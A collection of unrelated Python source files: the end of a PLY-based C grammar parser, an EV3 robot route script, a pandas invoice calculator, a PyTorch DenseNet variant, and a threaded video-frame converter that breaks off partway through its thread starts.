pycparser; see PLY Google Code issue 30. # Work around that here by listing the two elements separately. listed_quals = [item if isinstance(item, list) else [item] for item in [p[3],p[4]]] dim_quals = [qual for sublist in listed_quals for qual in sublist if qual is not None] arr = c_ast.ArrayDecl( type=None, dim=p[5], dim_quals=dim_quals, coord=p[1].coord) p[0] = self._type_modify_decl(decl=p[1], modifier=arr) # Special for VLAs # def p_direct_declarator_5(self, p): """ direct_declarator : direct_declarator LBRACKET type_qualifier_list_opt TIMES RBRACKET """ arr = c_ast.ArrayDecl( type=None, dim=c_ast.ID(p[4], self._coord(p.lineno(4))), dim_quals=p[3] if p[3] != None else [], coord=p[1].coord) p[0] = self._type_modify_decl(decl=p[1], modifier=arr) def p_direct_declarator_6(self, p): """ direct_declarator : direct_declarator LPAREN parameter_type_list RPAREN | direct_declarator LPAREN identifier_list_opt RPAREN """ func = c_ast.FuncDecl( args=p[3], type=None, coord=p[1].coord) # To see why _get_yacc_lookahead_token is needed, consider: # typedef char TT; # void foo(int TT) { TT = 10; } # Outside the function, TT is a typedef, but inside (starting and # ending with the braces) it's a parameter. The trouble begins with # yacc's lookahead token. We don't know if we're declaring or # defining a function until we see LBRACE, but if we wait for yacc to # trigger a rule on that token, then TT will have already been read # and incorrectly interpreted as TYPEID. We need to add the # parameters to the scope the moment the lexer sees LBRACE. # if self._get_yacc_lookahead_token().type == "LBRACE": if func.args is not None: for param in func.args.params: if isinstance(param, c_ast.EllipsisParam): break self._add_identifier(param.name, param.coord) p[0] = self._type_modify_decl(decl=p[1], modifier=func) def p_pointer(self, p): """ pointer : TIMES type_qualifier_list_opt | TIMES type_qualifier_list_opt pointer """ coord = self._coord(p.lineno(1)) # Pointer decls nest from inside out. This is important when different # levels have different qualifiers. For example: # # char * const * p; # # Means "pointer to const pointer to char" # # While: # # char ** const p; # # Means "const pointer to pointer to char" # # So when we construct PtrDecl nestings, the leftmost pointer goes in # as the most nested type. nested_type = c_ast.PtrDecl(quals=p[2] or [], type=None, coord=coord) if len(p) > 3: tail_type = p[3] while tail_type.type is not None: tail_type = tail_type.type tail_type.type = nested_type p[0] = p[3] else: p[0] = nested_type def p_type_qualifier_list(self, p): """ type_qualifier_list : type_qualifier | type_qualifier_list type_qualifier """ p[0] = [p[1]] if len(p) == 2 else p[1] + [p[2]] def p_parameter_type_list(self, p): """ parameter_type_list : parameter_list | parameter_list COMMA ELLIPSIS """ if len(p) > 2: p[1].params.append(c_ast.EllipsisParam(self._coord(p.lineno(3)))) p[0] = p[1] def p_parameter_list(self, p): """ parameter_list : parameter_declaration | parameter_list COMMA parameter_declaration """ if len(p) == 2: # single parameter p[0] = c_ast.ParamList([p[1]], p[1].coord) else: p[1].params.append(p[3]) p[0] = p[1] def p_parameter_declaration_1(self, p): """ parameter_declaration : declaration_specifiers declarator """ spec = p[1] if not spec['type']: spec['type'] = [c_ast.IdentifierType(['int'], coord=self._coord(p.lineno(1)))] p[0] = self._build_declarations( spec=spec, decls=[dict(decl=p[2])])[0] def p_parameter_declaration_2(self, p): """ parameter_declaration : declaration_specifiers abstract_declarator_opt """ spec = p[1] if not spec['type']: spec['type'] = [c_ast.IdentifierType(['int'], coord=self._coord(p.lineno(1)))] # Parameters can have the same names as typedefs. The trouble is that # the parameter's name gets grouped into declaration_specifiers, making # it look like an old-style declaration; compensate. # if len(spec['type']) > 1 and len(spec['type'][-1].names) == 1 and \ self._is_type_in_scope(spec['type'][-1].names[0]): decl = self._build_declarations( spec=spec, decls=[dict(decl=p[2], init=None)])[0] # This truly is an old-style parameter declaration # else: decl = c_ast.Typename( name='', quals=spec['qual'], type=p[2] or c_ast.TypeDecl(None, None, None), coord=self._coord(p.lineno(2))) typename = spec['type'] decl = self._fix_decl_name_type(decl, typename) p[0] = decl def p_identifier_list(self, p): """ identifier_list : identifier | identifier_list COMMA identifier """ if len(p) == 2: # single parameter p[0] = c_ast.ParamList([p[1]], p[1].coord) else: p[1].params.append(p[3]) p[0] = p[1] def p_initializer_1(self, p): """ initializer : assignment_expression """ p[0] = p[1] def p_initializer_2(self, p): """ initializer : brace_open initializer_list_opt brace_close | brace_open initializer_list COMMA brace_close """ if p[2] is None: p[0] = c_ast.InitList([], self._coord(p.lineno(1))) else: p[0] = p[2] def p_initializer_list(self, p): """ initializer_list : designation_opt initializer | initializer_list COMMA designation_opt initializer """ if len(p) == 3: # single initializer init = p[2] if p[1] is None else c_ast.NamedInitializer(p[1], p[2]) p[0] = c_ast.InitList([init], p[2].coord) else: init = p[4] if p[3] is None else c_ast.NamedInitializer(p[3], p[4]) p[1].exprs.append(init) p[0] = p[1] def p_designation(self, p): """ designation : designator_list EQUALS """ p[0] = p[1] # Designators are represented as a list of nodes, in the order in which # they're written in the code. # def p_designator_list(self, p): """ designator_list : designator | designator_list designator """ p[0] = [p[1]] if len(p) == 2 else p[1] + [p[2]] def p_designator(self, p): """ designator : LBRACKET constant_expression RBRACKET | PERIOD identifier """ p[0] = p[2] def p_type_name(self, p): """ type_name : specifier_qualifier_list abstract_declarator_opt """ #~ print '==========' #~ print p[1] #~ print p[2] #~ print p[2].children() #~ print '==========' typename = c_ast.Typename( name='', quals=p[1]['qual'], type=p[2] or c_ast.TypeDecl(None, None, None), coord=self._coord(p.lineno(2))) p[0] = self._fix_decl_name_type(typename, p[1]['type']) def p_abstract_declarator_1(self, p): """ abstract_declarator : pointer """ dummytype = c_ast.TypeDecl(None, None, None) p[0] = self._type_modify_decl( decl=dummytype, modifier=p[1]) def p_abstract_declarator_2(self, p): """ abstract_declarator : pointer direct_abstract_declarator """ p[0] = self._type_modify_decl(p[2], p[1]) def p_abstract_declarator_3(self, p): """ abstract_declarator : direct_abstract_declarator """ p[0] = p[1] # Creating and using direct_abstract_declarator_opt here # instead of listing both direct_abstract_declarator and the # lack of it in the beginning of _1 and _2 caused two # shift/reduce errors. # def p_direct_abstract_declarator_1(self, p): """ direct_abstract_declarator : LPAREN abstract_declarator RPAREN """ p[0] = p[2] def p_direct_abstract_declarator_2(self, p): """ direct_abstract_declarator : direct_abstract_declarator LBRACKET assignment_expression_opt RBRACKET """ arr = c_ast.ArrayDecl( type=None, dim=p[3], dim_quals=[], coord=p[1].coord) p[0] = self._type_modify_decl(decl=p[1], modifier=arr) def p_direct_abstract_declarator_3(self, p): """ direct_abstract_declarator : LBRACKET assignment_expression_opt RBRACKET """ p[0] = c_ast.ArrayDecl( type=c_ast.TypeDecl(None, None, None), dim=p[2], dim_quals=[], coord=self._coord(p.lineno(1))) def p_direct_abstract_declarator_4(self, p): """ direct_abstract_declarator : direct_abstract_declarator LBRACKET TIMES RBRACKET """ arr = c_ast.ArrayDecl( type=None, dim=c_ast.ID(p[3], self._coord(p.lineno(3))), dim_quals=[], coord=p[1].coord) p[0] = self._type_modify_decl(decl=p[1], modifier=arr) def p_direct_abstract_declarator_5(self, p): """ direct_abstract_declarator : LBRACKET TIMES RBRACKET """ p[0] = c_ast.ArrayDecl( type=c_ast.TypeDecl(None, None, None), dim=c_ast.ID(p[3], self._coord(p.lineno(3))), dim_quals=[], coord=self._coord(p.lineno(1))) def p_direct_abstract_declarator_6(self, p): """ direct_abstract_declarator : direct_abstract_declarator LPAREN parameter_type_list_opt RPAREN """ func = c_ast.FuncDecl( args=p[3], type=None, coord=p[1].coord) p[0] = self._type_modify_decl(decl=p[1], modifier=func) def p_direct_abstract_declarator_7(self, p): """ direct_abstract_declarator : LPAREN parameter_type_list_opt RPAREN """ p[0] = c_ast.FuncDecl( args=p[2], type=c_ast.TypeDecl(None, None, None), coord=self._coord(p.lineno(1))) # declaration is a list, statement isn't. To make it consistent, block_item # will always be a list # def p_block_item(self, p): """ block_item : declaration | statement """ p[0] = p[1] if isinstance(p[1], list) else [p[1]] # Since we made block_item a list, this just combines lists # def p_block_item_list(self, p): """ block_item_list : block_item | block_item_list block_item """ # Empty block items (plain ';') produce [None], so ignore them p[0] = p[1] if (len(p) == 2 or p[2] == [None]) else p[1] + p[2] def p_compound_statement_1(self, p): """ compound_statement : brace_open block_item_list_opt brace_close """ p[0] = c_ast.Compound( block_items=p[2], coord=self._coord(p.lineno(1))) def p_labeled_statement_1(self, p): """ labeled_statement : ID COLON statement """ p[0] = c_ast.Label(p[1], p[3], self._coord(p.lineno(1))) def p_labeled_statement_2(self, p): """ labeled_statement : CASE constant_expression COLON statement """ p[0] = c_ast.Case(p[2], [p[4]], self._coord(p.lineno(1))) def p_labeled_statement_3(self, p): """ labeled_statement : DEFAULT COLON statement """ p[0] = c_ast.Default([p[3]], self._coord(p.lineno(1))) def p_selection_statement_1(self, p): """ selection_statement : IF LPAREN expression RPAREN statement """ p[0] = c_ast.If(p[3], p[5], None, self._coord(p.lineno(1))) def p_selection_statement_2(self, p): """ selection_statement : IF LPAREN expression RPAREN statement ELSE statement """ p[0] = c_ast.If(p[3], p[5], p[7], self._coord(p.lineno(1))) def p_selection_statement_3(self, p): """ selection_statement : SWITCH LPAREN expression RPAREN statement """ p[0] = fix_switch_cases( c_ast.Switch(p[3], p[5], self._coord(p.lineno(1)))) def p_iteration_statement_1(self, p): """ iteration_statement : WHILE LPAREN expression RPAREN statement """ p[0] = c_ast.While(p[3], p[5], self._coord(p.lineno(1))) def p_iteration_statement_2(self, p): """ iteration_statement : DO statement WHILE LPAREN expression RPAREN SEMI """ p[0] = c_ast.DoWhile(p[5], p[2], self._coord(p.lineno(1))) def p_iteration_statement_3(self, p): """ iteration_statement : FOR LPAREN expression_opt SEMI expression_opt SEMI expression_opt RPAREN statement """ p[0] = c_ast.For(p[3], p[5], p[7], p[9], self._coord(p.lineno(1))) def p_iteration_statement_4(self, p): """ iteration_statement : FOR LPAREN declaration expression_opt SEMI expression_opt RPAREN statement """ p[0] = c_ast.For(c_ast.DeclList(p[3], self._coord(p.lineno(1))), p[4], p[6], p[8], self._coord(p.lineno(1))) def p_jump_statement_1(self, p): """ jump_statement : GOTO ID SEMI """ p[0] = c_ast.Goto(p[2], self._coord(p.lineno(1))) def p_jump_statement_2(self, p): """ jump_statement : BREAK SEMI """ p[0] = c_ast.Break(self._coord(p.lineno(1))) def p_jump_statement_3(self, p): """ jump_statement : CONTINUE SEMI """ p[0] = c_ast.Continue(self._coord(p.lineno(1))) def p_jump_statement_4(self, p): """ jump_statement : RETURN expression SEMI | RETURN SEMI """ p[0] = c_ast.Return(p[2] if len(p) == 4 else None, self._coord(p.lineno(1))) def p_expression_statement(self, p): """ expression_statement : expression_opt SEMI """ if p[1] is None: p[0] = c_ast.EmptyStatement(self._coord(p.lineno(1))) else: p[0] = p[1] def p_expression(self, p): """ expression : assignment_expression | expression COMMA assignment_expression """ if len(p) == 2: p[0] = p[1] else: if not isinstance(p[1], c_ast.ExprList): p[1] = c_ast.ExprList([p[1]], p[1].coord) p[1].exprs.append(p[3]) p[0] = p[1] def p_typedef_name(self, p): """ typedef_name : TYPEID """ p[0] = c_ast.IdentifierType([p[1]], coord=self._coord(p.lineno(1))) def p_assignment_expression(self, p): """ assignment_expression : conditional_expression | unary_expression assignment_operator assignment_expression """ if len(p) == 2: p[0] = p[1] else: p[0] = c_ast.Assignment(p[2], p[1], p[3], p[1].coord) # K&R2 defines these as many separate rules, to encode # precedence and associativity. Why work hard ? I'll just use # the built in precedence/associativity specification feature # of PLY. (see precedence declaration above) # def p_assignment_operator(self, p): """ assignment_operator : EQUALS | XOREQUAL | TIMESEQUAL | DIVEQUAL | MODEQUAL | PLUSEQUAL | MINUSEQUAL | LSHIFTEQUAL | RSHIFTEQUAL | ANDEQUAL | OREQUAL """ p[0] = p[1] def p_constant_expression(self, p): """ constant_expression : conditional_expression """ p[0] = p[1] def p_conditional_expression(self, p): """ conditional_expression : binary_expression | binary_expression CONDOP expression COLON conditional_expression """ if len(p) == 2: p[0] = p[1] else: p[0] = c_ast.TernaryOp(p[1], p[3], p[5], p[1].coord) def p_binary_expression(self, p): """ binary_expression : cast_expression | binary_expression TIMES binary_expression | binary_expression DIVIDE binary_expression | binary_expression MOD binary_expression | binary_expression PLUS binary_expression | binary_expression MINUS binary_expression | binary_expression RSHIFT binary_expression | binary_expression LSHIFT binary_expression | binary_expression LT binary_expression | binary_expression LE binary_expression | binary_expression GE binary_expression | binary_expression GT binary_expression | binary_expression EQ binary_expression | binary_expression NE binary_expression | binary_expression AND binary_expression | binary_expression OR binary_expression | binary_expression XOR binary_expression | binary_expression LAND binary_expression | binary_expression LOR binary_expression """ if len(p) == 2: p[0] = p[1] else: p[0] = c_ast.BinaryOp(p[2], p[1], p[3], p[1].coord) def p_cast_expression_1(self, p): """ cast_expression : unary_expression """ p[0] = p[1] def p_cast_expression_2(self, p): """ cast_expression : LPAREN type_name RPAREN cast_expression """ p[0] = c_ast.Cast(p[2], p[4], self._coord(p.lineno(1))) def p_unary_expression_1(self, p): """ unary_expression : postfix_expression """ p[0] = p[1] def p_unary_expression_2(self, p): """ unary_expression : PLUSPLUS unary_expression | MINUSMINUS unary_expression | unary_operator cast_expression """ p[0] = c_ast.UnaryOp(p[1], p[2], p[2].coord) def p_unary_expression_3(self, p): """ unary_expression : SIZEOF unary_expression | SIZEOF LPAREN type_name RPAREN """ p[0] = c_ast.UnaryOp( p[1], p[2] if len(p) == 3 else p[3], self._coord(p.lineno(1))) def p_unary_operator(self, p): """ unary_operator : AND | TIMES | PLUS | MINUS | NOT | LNOT """ p[0] = p[1] def p_postfix_expression_1(self, p): """ postfix_expression : primary_expression """ p[0] = p[1] def p_postfix_expression_2(self, p): """ postfix_expression : postfix_expression LBRACKET expression RBRACKET """ p[0] = c_ast.ArrayRef(p[1], p[3], p[1].coord) def p_postfix_expression_3(self, p): """ postfix_expression : postfix_expression LPAREN argument_expression_list RPAREN | postfix_expression LPAREN RPAREN """ p[0] = c_ast.FuncCall(p[1], p[3] if len(p) == 5 else None, p[1].coord) def p_postfix_expression_4(self, p): """ postfix_expression : postfix_expression PERIOD ID | postfix_expression PERIOD TYPEID | postfix_expression ARROW ID | postfix_expression ARROW TYPEID """ field = c_ast.ID(p[3], self._coord(p.lineno(3))) p[0] = c_ast.StructRef(p[1], p[2], field, p[1].coord) def p_postfix_expression_5(self, p): """ postfix_expression : postfix_expression PLUSPLUS | postfix_expression MINUSMINUS """ p[0] = c_ast.UnaryOp('p' + p[2], p[1], p[1].coord) def p_postfix_expression_6(self, p): """ postfix_expression : LPAREN type_name RPAREN brace_open initializer_list brace_close | LPAREN type_name RPAREN brace_open initializer_list COMMA brace_close """ p[0] = c_ast.CompoundLiteral(p[2], p[5]) def p_primary_expression_1(self, p): """ primary_expression : identifier """ p[0] = p[1] def p_primary_expression_2(self, p): """ primary_expression : constant """ p[0] = p[1] def p_primary_expression_3(self, p): """ primary_expression : unified_string_literal | unified_wstring_literal """ p[0] = p[1] def p_primary_expression_4(self, p): """ primary_expression : LPAREN expression RPAREN """ p[0] = p[2] def p_primary_expression_5(self, p): """ primary_expression : OFFSETOF LPAREN type_name COMMA identifier RPAREN """ coord = self._coord(p.lineno(1)) p[0] = c_ast.FuncCall(c_ast.ID(p[1], coord), c_ast.ExprList([p[3], p[5]], coord), coord) def p_argument_expression_list(self, p): """ argument_expression_list : assignment_expression | argument_expression_list COMMA assignment_expression """ if len(p) == 2: # single expr p[0] = c_ast.ExprList([p[1]], p[1].coord) else: p[1].exprs.append(p[3]) p[0] = p[1] def p_identifier(self, p): """ identifier : ID """ p[0] = c_ast.ID(p[1], self._coord(p.lineno(1))) def p_constant_1(self, p): """ constant : INT_CONST_DEC | INT_CONST_OCT | INT_CONST_HEX | INT_CONST_BIN """ p[0] = c_ast.Constant( 'int', p[1], self._coord(p.lineno(1))) def p_constant_2(self, p): """ constant : FLOAT_CONST | HEX_FLOAT_CONST """ p[0] = c_ast.Constant( 'float', p[1], self._coord(p.lineno(1))) def p_constant_3(self, p): """ constant : CHAR_CONST | WCHAR_CONST """ p[0] = c_ast.Constant( 'char', p[1], self._coord(p.lineno(1))) # The "unified" string and wstring literal rules are for supporting # concatenation of adjacent string literals. # I.e. "hello " "world" is seen by the C compiler as a single string literal # with the value "hello world" # def p_unified_string_literal(self, p): """ unified_string_literal : STRING_LITERAL | unified_string_literal STRING_LITERAL """ if len(p) == 2: # single literal p[0] = c_ast.Constant( 'string', p[1], self._coord(p.lineno(1))) else: p[1].value = p[1].value[:-1] + p[2][1:] p[0] = p[1] def p_unified_wstring_literal(self, p): """ unified_wstring_literal : WSTRING_LITERAL | unified_wstring_literal WSTRING_LITERAL """ if len(p) == 2: # single literal p[0] = c_ast.Constant( 'string', p[1], self._coord(p.lineno(1))) else: p[1].value = p[1].value.rstrip()[:-1] + p[2][2:] p[0] = p[1] def p_brace_open(self, p): """ brace_open : LBRACE """ p[0] = p[1] def p_brace_close(self, p): """ brace_close : RBRACE """ p[0] = p[1] def p_empty(self, p): 'empty : ' p[0] = None def p_error(self, p): # If error recovery is added here in the future, make sure # _get_yacc_lookahead_token still works! # if p: self._parse_error( 'before: %s' % p.value, self._coord(lineno=p.lineno, column=self.clex.find_tok_column(p))) else: self._parse_error('At end of input', '') #------------------------------------------------------------------------------ if __name__ == "__main__": import pprint import time, sys #t1 = time.time() #parser = CParser(lex_optimize=True, yacc_debug=True, yacc_optimize=False) #sys.write(time.time() - t1) #buf = ''' #int (*k)(int); #''' ## set debuglevel to 2 for debugging #t = parser.parse(buf, 'x.c', debuglevel=0) #t.show(showcoord=True)
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/routes/route4.py
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Utklossning/ev3-robot
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refs/heads/master
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import time class Route(): def __init__(self, bot): self.bot = bot self.route_number = "four" def start(self): self.bot.move_forward(45, 50) self.bot.rotate_right(45, 50) self.bot.move_forward(44, 50) self.bot.rotate_right(46, 50) self.bot.move_forward(28, 50) self.bot.detect_red_tape() self.bot.empty_container() self.bot.move_backward(35, 75) self.bot.rotate_left(46, 50) self.bot.move_backward(44, 75) self.bot.rotate_left(37, 50) self.bot.move_backward(57, 75) return True
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/src/calcularfactura.py
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import pandas as pd import obtenerhoras from datetime import datetime def calcularfactura(fecha_inicio, fecha_fin): tabla = obtenerhoras.obtenerhoras("../archivos/factura.xlsx") if("-" in fecha_inicio): now = datetime.now() fecha_inicio = fecha_inicio.split("-") fecha_fin = fecha_fin.split("-") if(int(fecha_inicio[1]) > now.month + 1): f_inicio = str(now.year - 1) + "-" + fecha_inicio[1] + "-" + fecha_inicio[0] else: f_inicio = str(now.year) + "-" + fecha_inicio[1] + "-" + fecha_inicio[0] f_fin = str(now.year) + "-" + fecha_fin[1] + "-" + fecha_fin[0] elif("/" in fecha_inicio): now = datetime.now() fecha_inicio = fecha_inicio.split("/") fecha_fin = fecha_fin.split("/") f_inicio = str(now.year) + "-" + fecha_inicio[1] + "-" + fecha_inicio[0] f_fin = str(now.year) + "-" + fecha_fin[1] + "-" + fecha_fin[0] agregar = False sumar = [] for i in range(len(tabla.columns)): if(tabla.columns[i] == f_inicio): agregar = True elif(tabla.columns[i-1] == f_fin): agregar = False if(agregar): sumar.append(tabla.columns[i]) tabla["Total Hours"] = tabla[sumar].sum(axis=1) tabla["Total"] = tabla["Total Hours"] * tabla["Rate"] sumar.insert(0, "Rate") sumar.insert(0, "Resource Name") sumar.insert(len(sumar), "Total Hours") sumar.insert(len(sumar), "Total") resultado = tabla[sumar] return resultado
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refs/heads/master
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# join: 主线程等待add_thread执行完成,再继续向下执行 # 结论:线程之间可以共享全局变量
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refs/heads/master
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import torch import torch.nn as nn import torch.nn.functional as F from collections import OrderedDict from torch import Tensor import itertools class Flatten(nn.Module): def forward(self, x): return x.view(x.size(0), -1) class _Gate_selection(nn.Sequential): phase = 2 def __init__(self, num_input_features, growth_rate, count, reduction=4): super(_Gate_selection, self).__init__() self.actual = (count+1) // 2 LongTensor = torch.cuda.LongTensor if torch.cuda.is_available() else torch.LongTensor self.init = LongTensor([i for i in range(num_input_features)]).view(1, -1) s = num_input_features arr = [] for j in range(count): arr += [[i for i in range(s, s + growth_rate)]] s+=growth_rate self.arr = LongTensor(arr) self.avg_pool = nn.AdaptiveAvgPool2d(1) channels = num_input_features + growth_rate * count self.fc1 = nn.Linear(channels, channels//reduction) self.relu = nn.ReLU(inplace=True) self.fc2 = nn.Linear(channels//reduction, count) self.sigmoid = nn.Sigmoid() self.flat = Flatten() def forward(self, x, x_norm): b, _, w, h = x_norm.size() out = self.avg_pool(x_norm) # batch, channel 합친거, w, h out = self.flat(out) out = self.relu(self.fc1(out)) out = self.sigmoid(self.fc2(out)) _, sort = out.sort() indices = sort[:,:self.actual] # batch, sort # shuffle indices = indices[:, torch.randperm(indices.size(1))] select = self.init.repeat(b,1) select = torch.cat([select, self.arr[indices].view(b,-1)], 1) select = select.view(select.size(0), -1, 1, 1).repeat(1,1,w,h) x = x.gather(1, select) return x class _Bottleneck(nn.Sequential): def __init__(self, num_input_features, growth_rate, count=1): super(_Bottleneck, self).__init__() self.norm1 = nn.BatchNorm2d(num_input_features) self.relu = nn.ReLU(inplace=True) self.conv1 = nn.Conv2d(num_input_features, 4 * growth_rate, kernel_size=1, stride=1, bias=False) self.norm2 = nn.BatchNorm2d(4 * growth_rate) self.conv2 = nn.Conv2d(4 * growth_rate, growth_rate, kernel_size=3, stride=1, padding=1, bias=False) self.count = count def forward(self, x): if isinstance(x, Tensor): x = [x] out = torch.cat(x,1) out = self.norm1(out) out = self.relu(out) out = self.conv1(out) out = self.norm2(out) out = self.relu(out) out = self.conv2(out) return out class _Basic(nn.Sequential): def __init__(self, num_input_features, growth_rate): super(_Basic, self).__init__() self.norm1 = nn.BatchNorm2d(num_input_features) self.relu = nn.ReLU(inplace=True) self.conv1 = nn.Conv2d(num_input_features, growth_rate, kernel_size=3, stride=1, padding=1, bias=False) self.count = count def forward(self, x): if isinstance(x, Tensor): x = [x] out = torch.cat(x,1) out = self.norm1(out) out = self.relu(out) out = self.conv1(out) return out class _DenseLayer(nn.Module): def __init__(self, num_input_features, growth_rate, num_layers, Block): super(_DenseLayer, self).__init__() self.num_layers = num_layers self.init_block = Block(num_input_features, growth_rate) for i in range(1, num_layers): j = (i-1)//2 + 1 setattr(self, 'layer{}'.format(i), Block(num_input_features + growth_rate * j, growth_rate)) setattr(self, 'norm{}'.format(i), nn.BatchNorm2d(num_input_features + growth_rate * (i+1))) setattr(self, 'gate{}'.format(i), _Gate_selection(num_input_features, growth_rate, i+1, reduction=4)) def forward(self, x): out = self.init_block(x) x = [x] + [out] out = torch.cat(x,1) for i in range(1, self.num_layers): out = getattr(self, 'layer{}'.format(i))(out) x += [out] x_cat = torch.cat(x,1) x_norm = getattr(self, 'norm{}'.format(i))(x_cat) out = getattr(self, 'gate{}'.format(i))(x_cat, x_norm) return x_cat class _Transition(nn.Sequential): def __init__(self, num_input_features, tr_features): super(_Transition, self).__init__() self.norm = nn.BatchNorm2d(tr_features) self.relu = nn.ReLU(inplace=True) self.conv = nn.Conv2d(tr_features, num_input_features // 2, kernel_size=1, stride=1, bias=False) self.pool = nn.AvgPool2d(kernel_size=2, stride=2) def forward(self, x): # out = torch.cat(x,1) out = self.norm(x) out = self.relu(out) out = self.conv(out) out = self.pool(out) return out class DenseNet(nn.Module): def __init__(self, growth_rate=12, num_init_features=24, num_classes=10, is_bottleneck=True, layer=28): super(DenseNet, self).__init__() if layer is 28: block_config=[4,4,4] elif layer is 40: block_config=[6,6,6] elif layer is 52: block_config=[8,8,8] elif layer is 64: block_config=[10,10,10] if is_bottleneck: Block = _Bottleneck else: Block = _Basic block_config = [2*x for x in block_config] self.features = nn.Sequential() self.features.add_module('conv0', nn.Conv2d(3, num_init_features, kernel_size=3, stride=1, padding=1, bias=False)) num_features = num_init_features for i in range(len(block_config)): self.features.add_module('layer%d' % (i + 1), _DenseLayer(num_features, growth_rate, block_config[i], Block)) tr_features = num_features + block_config[i] * growth_rate num_features = num_features + block_config[i] * growth_rate // 2 if i != len(block_config) - 1: self.features.add_module('transition%d' % (i + 1), _Transition(num_features, tr_features)) num_features = num_features // 2 # Final batch norm self.norm = nn.BatchNorm2d(tr_features) self.relu = nn.ReLU(inplace=True) self.pool = nn.AvgPool2d(kernel_size=8, stride=1) self.fc = nn.Linear(tr_features, num_classes) for m in self.modules(): if isinstance(m, nn.Conv2d): nn.init.kaiming_normal_(m.weight) elif isinstance(m, nn.BatchNorm2d): nn.init.constant_(m.weight, 1) nn.init.constant_(m.bias, 0) elif isinstance(m, nn.Linear): nn.init.constant_(m.bias, 0) # Linear layer # Official init from torch repo. def forward(self, x): out = self.features(x) # out = torch.cat(out,1) out = self.norm(out) out = self.relu(out) out = self.pool(out) out = out.view(out.size(0), -1) out = self.fc(out) return out if __name__=='__main__': x = torch.randn(4,3,32,32) model = DenseNet(growth_rate=12, num_init_features=24, num_classes=10, is_bottleneck=True, layer=40) y = model(x) print(y.size())
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/try.py
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[]
no_license
dragikamov/Video_Converter
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refs/heads/master
2020-04-30T15:50:35.037923
2019-03-30T22:35:29
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import cv2 import numpy as np import os from canny_edge import * import threading from os.path import isfile, join # Function for converting an image to grayscale def rgb2gray(rgb): return np.dot(rgb[...,:3], [0.299, 0.587, 0.114]) # Export of video def exportVid(): frame_array = [] files = [f for f in os.listdir('data/') if isfile(join('data/', f))] files.sort(key = lambda x: int(x[5:-4])) for i in range(len(files)): filename = 'data/' + files[i] img = cv2.imread(filename) height, width, _ = img.shape size = (width,height) print(filename) frame_array.append(img) fourcc = cv2.VideoWriter_fourcc(*'DIVX') out = cv2.VideoWriter('export.avi', fourcc, 24.0, (width,height)) for i in range(len(frame_array)): out.write(frame_array[i]) out.release() def thread(i, imgs): t1 = threading.Thread(target=detect, args=(imgs[0], i + 1)) t2 = threading.Thread(target=detect, args=(imgs[1], i + 2)) t3 = threading.Thread(target=detect, args=(imgs[2], i + 3)) t4 = threading.Thread(target=detect, args=(imgs[3], i + 4)) t5 = threading.Thread(target=detect, args=(imgs[4], i + 5)) t6 = threading.Thread(target=detect, args=(imgs[5], i + 6)) t7 = threading.Thread(target=detect, args=(imgs[6], i + 7)) t8 = threading.Thread(target=detect, args=(imgs[7], i + 8)) t9 = threading.Thread(target=detect, args=(imgs[8], i + 9)) t10 = threading.Thread(target=detect, args=(imgs[9], i + 10)) t11 = threading.Thread(target=detect, args=(imgs[10], i + 11)) t12 = threading.Thread(target=detect, args=(imgs[11], i + 12)) t13 = threading.Thread(target=detect, args=(imgs[12], i + 13)) t14 = threading.Thread(target=detect, args=(imgs[13], i + 14)) t15 = threading.Thread(target=detect, args=(imgs[14], i + 15)) t16 = threading.Thread(target=detect, args=(imgs[15], i + 16)) t17 = threading.Thread(target=detect, args=(imgs[16], i + 17)) t18 = threading.Thread(target=detect, args=(imgs[17], i + 18)) t19 = threading.Thread(target=detect, args=(imgs[18], i + 19)) t20 = threading.Thread(target=detect, args=(imgs[19], i + 20)) t21 = threading.Thread(target=detect, args=(imgs[20], i + 21)) t22 = threading.Thread(target=detect, args=(imgs[21], i + 22)) t23 = threading.Thread(target=detect, args=(imgs[22], i + 23)) t24 = threading.Thread(target=detect, args=(imgs[23], i + 24)) t25 = threading.Thread(target=detect, args=(imgs[24], i + 25)) t26 = threading.Thread(target=detect, args=(imgs[25], i + 26)) t27 = threading.Thread(target=detect, args=(imgs[26], i + 27)) t28 = threading.Thread(target=detect, args=(imgs[27], i + 28)) t29 = threading.Thread(target=detect, args=(imgs[28], i + 29)) t30 = threading.Thread(target=detect, args=(imgs[29], i + 30)) t31 = threading.Thread(target=detect, args=(imgs[30], i + 31)) t32 = threading.Thread(target=detect, args=(imgs[31], i + 32)) t33 = threading.Thread(target=detect, args=(imgs[32], i + 33)) t34 = threading.Thread(target=detect, args=(imgs[33], i + 34)) t35 = threading.Thread(target=detect, args=(imgs[34], i + 35)) t36 = threading.Thread(target=detect, args=(imgs[35], i + 36)) t37 = threading.Thread(target=detect, args=(imgs[36], i + 37)) t38 = threading.Thread(target=detect, args=(imgs[37], i + 38)) t39 = threading.Thread(target=detect, args=(imgs[38], i + 39)) t40 = threading.Thread(target=detect, args=(imgs[39], i + 40)) t41 = threading.Thread(target=detect, args=(imgs[40], i + 41)) t42 = threading.Thread(target=detect, args=(imgs[41], i + 42)) t43 = threading.Thread(target=detect, args=(imgs[42], i + 43)) t44 = threading.Thread(target=detect, args=(imgs[43], i + 44)) t45 = threading.Thread(target=detect, args=(imgs[44], i + 45)) t46 = threading.Thread(target=detect, args=(imgs[45], i + 46)) t47 = threading.Thread(target=detect, args=(imgs[46], i + 47)) t48 = threading.Thread(target=detect, args=(imgs[47], i + 48)) t49 = threading.Thread(target=detect, args=(imgs[48], i + 49)) t50 = threading.Thread(target=detect, args=(imgs[49], i + 50)) t51 = threading.Thread(target=detect, args=(imgs[50], i + 51)) t52 = threading.Thread(target=detect, args=(imgs[51], i + 52)) t53 = threading.Thread(target=detect, args=(imgs[52], i + 53)) t54 = threading.Thread(target=detect, args=(imgs[53], i + 54)) t55 = threading.Thread(target=detect, args=(imgs[54], i + 55)) t56 = threading.Thread(target=detect, args=(imgs[55], i + 56)) t57 = threading.Thread(target=detect, args=(imgs[56], i + 57)) t58 = threading.Thread(target=detect, args=(imgs[57], i + 58)) t59 = threading.Thread(target=detect, args=(imgs[58], i + 59)) t60 = threading.Thread(target=detect, args=(imgs[59], i + 60)) t1.start() t2.start() t3.start() t4.start() t5.start() t6.start() t7.start() t8.start() t9.start() t10.start() t11.start() t12.start() t13.start() t14.start() t15.start() t16.start() t17.start() t18.start() t19.start() t20.start() t21.start() t22.start() t23.start() t24.start() t25.start() t26.start() t27.start() t28.start() t29.start() t30.start() t31.start() t32.start() t33.start() t34.start() t35.start() t36.start() t37.start() t38.start() t39.start() t40.start() t41.start() t42.start() t43.start() t44.start() t45.start() t46.start() t47.start() t48.start() t49.start() t50.start() t51.start() t52.start() t53.start() t54.start() t55.start() 